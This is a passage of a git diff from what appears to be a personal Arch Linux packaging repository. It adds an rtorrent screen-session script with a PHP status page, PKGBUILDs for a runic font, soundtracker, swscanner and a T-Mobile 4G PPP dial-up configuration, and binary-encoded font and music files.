+SCREEN_DUMP_INTERVAL=30; +SESSION_NAME='rtorrent' +CREATE_PHP_UI=true +PHP_UI='download.php' + +CONFIG_OVERRIDE=~/.config/rtorrent-screen.rc.sh +#source "$CONFIG_OVERRIDE" 2>/dev/null + +cd "$TARGET_DIRECTORY"; +if [ $? != 0 ]; then + echo Directory "$TARGET_DIRECTORY" does not exists create it or change path in "$CONFIG_OVERRIDE" or in "$0" + echo Note that each user MUST have his own separate directory for rtorrent-screen to avoid collisions. + exit 2; +fi; + +#PHP UI +if "$CREATE_PHP_UI"; then +echo " + + Harvie's Downloads + + +

$USER and type: $0 or screen -x '.
+			htmlspecialchars(file_get_contents('$SCREEN_PID_FILE')).
+			'If you want to detach from it (leave it running on background) press CTRL+a followed by d and if you want to stop rTorrent definitely then press CTRL+q few times.
'. + htmlspecialchars(file_get_contents('./hardcopy.0')) + ); + } else { + echo('rTorrent is not running at this time... To execute it use command: $0'); + } +?>
+" > "$PHP_UI" +fi; + +#SCREEN SESSION +if [[ -r "$SCREEN_PID_FILE" ]]; then + screen -x $(cat "$SCREEN_PID_FILE"); +else + screen -U -S "$SESSION_NAME" -t "$SESSION_NAME" bash -c " + while true; do + sleep 1; + screen -S \$PPID -X hardcopy; + sleep $SCREEN_DUMP_INTERVAL; + done & + + echo \$PPID > $SCREEN_PID_FILE; + rtorrent; + rm -f $SCREEN_PID_FILE; + rm -f hardcopy.0; + " +fi; + +echo 'Thank you for using rtorrent-screen by Harvie' diff --git a/rtorrent-screen/sample.html b/rtorrent-screen/sample.html new file mode 100644 index 0000000..170c94f --- /dev/null +++ b/rtorrent-screen/sample.html @@ -0,0 +1,55 @@ + + + Harvie's Downloads + + +
rTorrent is running. To attach to it login as harvie and type: /usr/bin/rtorrent-screen or screen -x 24648
+If you want to detach from it (leave it running on background) press CTRL+a followed by d and if you want to stop rTorrent definitely then press CTRL+q few times.
*** rTorrent 0.7.9/0.11.9 - harvie-srv:666 *** +[View: main] + Arch Linux + 30,4 / 699,0 MB Rate: 14,1 / 497,4 KB Uploaded: 0,8 MB [ 3%] 0d 0:22 [ R: 0,03] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Throttle off/off KB] [Rate 14,7/520,4 KB] [Port: 666] [U 4/0] [D 9/0] [H 0/32] [S 0/18/768] [F 2/128] +
+ diff --git a/rtorrent-screen/sample.html~ b/rtorrent-screen/sample.html~ new file mode 100644 index 0000000..eb1c774 --- /dev/null +++ b/rtorrent-screen/sample.html~ @@ -0,0 +1,55 @@ + + + Harvie's Downloads + + +
rTorrent is running. To attach to it login as harvie and type: /usr/bin/rtorrent-screen or screen -x 24648
+If you want to detach from it (leave it running on background) press CTRL+a followed by d and if you want to stop rTorrent definitely then press CTRL+q few times.
*** rTorrent 0.7.9/0.11.9 - harvie-srv:666 *** +[View: main] + Arch Linux + 30,4 / 699,0 MB Rate: 14,1 / 497,4 KB Uploaded: 0,8 MB [ 3%] 0d 0:22 [ R: 0,03] + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +[Throttle off/off KB] [Rate 14,7/520,4 KB] [Port: 666] [U 4/0] [D 9/0] [H 0/32] [S 0/18/768] [F 2/128] +
+ diff --git a/runez-ttf/PKGBUILD b/runez-ttf/PKGBUILD new file mode 100644 index 0000000..86de65d --- /dev/null +++ b/runez-ttf/PKGBUILD @@ -0,0 +1,18 @@ +# Contributor: Thomas Mudrunka +# Maintainer: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=ttf-runez +pkgver=1 +pkgrel=1 +pkgdesc="TTF Font interpreting latin alphabet as Runes (Cirth = Artificial dialect from J.R.R. Tolkien's Hobbit). Free for use/modify when not used for spreading (neo-)nacionalism" +arch=('any') +license=('Custom') +url="http://en.wikipedia.org/wiki/Runic_alphabet" +source=("runez.ttf") +md5sums=('72386a3bae3bbc0101b7adeea4d360e8') + +build() { + mkdir -p ${pkgdir}/usr/share/fonts/TTF/ || return 1 + cp ${srcdir}/runez.ttf ${pkgdir}/usr/share/fonts/TTF/ || return 1 +} diff --git a/runez-ttf/libssl.so b/runez-ttf/libssl.so new file mode 120000 index 0000000..84e283e --- /dev/null +++ b/runez-ttf/libssl.so @@ -0,0 +1 @@ +/usr/lib/libssl.so \ No newline at end of file diff --git a/runez-ttf/runez.ttf b/runez-ttf/runez.ttf new file mode 100644 index 0000000000000000000000000000000000000000..e4ab4dd1c0305dcbc6f1c0ae7abbbeb4ae96c435 GIT binary patch literal 43484 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 literal 0 HcmV?d00001 diff --git a/sountracker/PKGBUILD b/sountracker/PKGBUILD new file mode 100644 index 0000000..721bc7f --- /dev/null +++ b/sountracker/PKGBUILD @@ -0,0 +1,20 @@ +# Contributor: Johannes Schriewer + +pkgname=soundtracker +pkgver=0.6.8.gtk2 +pkgrel=1 +pkgdesc="A pattern-oriented music tracker similar to FastTracker2 with support for jackd, oss and esd." +arch=('i686' 'x86_64') +license=('GPL') +#url="http://www.soundtracker.org" +url="http://metamorph0sis.nm.ru/" +depends=('gtk' 'jack-audio-connection-kit' 'gdk-pixbuf' ) +source=(http://metamorph0sis.nm.ru/${pkgname}-${pkgver}-20080114.tar.bz2) +md5sums=('8a2b54dc62205af6bfbe2b7e93cd36df') + +build() { + cd $startdir/src/$pkgname-$pkgver + ./configure --prefix=/usr + make || return 1 + make prefix=$startdir/pkg/usr install +} diff --git a/sountracker/crash-save.xm b/sountracker/crash-save.xm new file mode 100644 index 0000000000000000000000000000000000000000..35bb37d4d50f6b4b55760653cd06766b3bf181a3 GIT binary patch literal 345 zcmZ>*C`rvrNlj7k%}*)KNwrd7zyhR-ic8ds6@v3i^HM^J5|gu2ixd=C7)2Nv7=Va@ W157e9urbtP(LAz*I6>ZZ0Ac_r6%IuJ literal 0 HcmV?d00001 diff --git a/swscanner/PKGBUILD b/swscanner/PKGBUILD new file mode 100644 index 0000000..dd4f8cb --- /dev/null +++ b/swscanner/PKGBUILD @@ -0,0 +1,24 @@ +# Contributor: Thomas Mudrunka +# Original PKGBUILD contributed by: Erwin Van de Velde + +pkgname=swscanner +pkgver=0.2.2 +pkgrel=2 +pkgdesc="SWScanner is a NetStumbler like wireless network (wifi/802.11) scanner." +arch=('i686' 'x86_64') +url="http://www.swscanner.org" +license="GPL" +depends=(qt libidn acl libart-lgpl fam shapelib kdelibs kdelibs3) +builddepends=( + 'glibc' 'gcc' +) +source=(http://www.swscanner.org/descargas/$pkgname-$pkgver.tar.gz) +md5sums=('6337ca79f295b42a256790f0133b7730') + +build() { + cd ${srcdir}/swscanner-${pkgver} + source /etc/profile.d/qt*.sh + ./configure --with-extra-includes=/usr/include/libshp --without-arts && make || return 1 + #./configure --without-arts && make + make DESTDIR=${pkgdir}/usr/ install +} diff --git a/t-mobile-4G-combi/PKGBUILD b/t-mobile-4G-combi/PKGBUILD new file mode 100644 index 0000000..31edb31 --- /dev/null +++ b/t-mobile-4G-combi/PKGBUILD @@ -0,0 +1,122 @@ +# Contributor: Thomas Mudrunka +# You can also contact me on http://blog.harvie.cz/ + +pkgname=t-mobile-4g-combi +pkgver=1.0 +pkgrel=1 +pkgdesc="" +arch=('any') +license=('GPL') +url="http://personal.jirik.net/data/tm4g/ipwireless-pcmcia-linux-howto.html" +depends=('ppp') +backup=('/etc/ppp/chap-secrets') + +build() { + _provider=tm4g + + #directories + mkdir -p ${pkgdir}/etc/chatscripts + mkdir -p ${pkgdir}/etc/ppp/peers/ + mkdir -p ${pkgdir}/etc/ppp/resolv/ + mkdir -p ${pkgdir}/etc/rc.d/ + +#################################################################### + +echo "ABORT BUSY ABORT 'NO CARRIER' ABORT ERROR +'' AT +AT \"\" +OK AT+CGDCONT=1,\"PPP\",\"internet.t-mobile.cz\",\"0,0\",0,0 +OK \"ATDT*99#\" +CONNECT \\d\\c +" > ${pkgdir}/etc/chatscripts/${_provider} + +########################################################################### + +echo "hide-password +nopcomp +noauth +connect \"/usr/sbin/chat -v -f /etc/chatscripts/${_provider}\" +debug +/dev/ttyIPWp0 +230400 +defaultroute +noipdefault +usepeerdns +persist +holdoff 1 +user \"gprs\" +ipparam tmobile +mtu 1020 +" > ${pkgdir}/etc/ppp/peers/${_provider} + +########################################################################### + +echo '# resolv.conf created by pppconfig for tmobile +nameserver 62.141.0.1 +nameserver 213.162.65.1 + +' > ${pkgdir}/etc/ppp/resolv/${_provider} + +########################################################################### + +echo "[Dialer ${_provider}] +Username = gprs +Password = gprs +Phone = *99# +Stupid Mode = 1 +Init1 = ATZ +Modem = /dev/ttyIPWp0 +" > ${pkgdir}/etc/wvdial.conf + +########################################################################### + +echo "#!/bin/bash + +. /etc/rc.conf +. /etc/rc.d/functions + +PID=`pidof -o %PPID /usr/sbin/pppd` +case \"\$1\" in + start) + stat_busy \"Starting PPP daemon for ${_provider}\" + [ -z \"\$PID\" ] && /usr/bin/pon ${_provider} + if [ \$? -gt 0 ]; then + stat_fail + else + add_daemon ppp-${_provider} + stat_done + fi + ;; + stop) + stat_busy "Stopping PPP daemon" + [ ! -z \"\$PID\" ] && poff -a &> /dev/null + if [ \$? -gt 0 ]; then + stat_fail + else + rm_daemon ppp-${_provider} + stat_done + fi + ;; + restart) + \$0 stop + sleep 1 + \$0 start + ;; + *) + echo \"usage: $0 {start|stop|restart}\" +esac +exit 0 +" > ${pkgdir}/etc/rc.d/ppp-${_provider} + +########################################################################### + +#Conflicting file ;( + +#echo '# Secrets for authentication using CHAP +## client server secret IP addresses +#"gprs" * "gprs" +#' > ${pkgdir}/etc/ppp/chap-secrets + + + chmod -R 755 ${pkgdir}/ +} diff --git a/thttpd/LICENSE b/thttpd/LICENSE new file mode 100644 index 0000000..033b7a8 --- /dev/null +++ b/thttpd/LICENSE @@ -0,0 +1,26 @@ +/* thttpd.c - tiny/turbo/throttling HTTP server +** +** Copyright © 1995,1998,1999,2000,2001 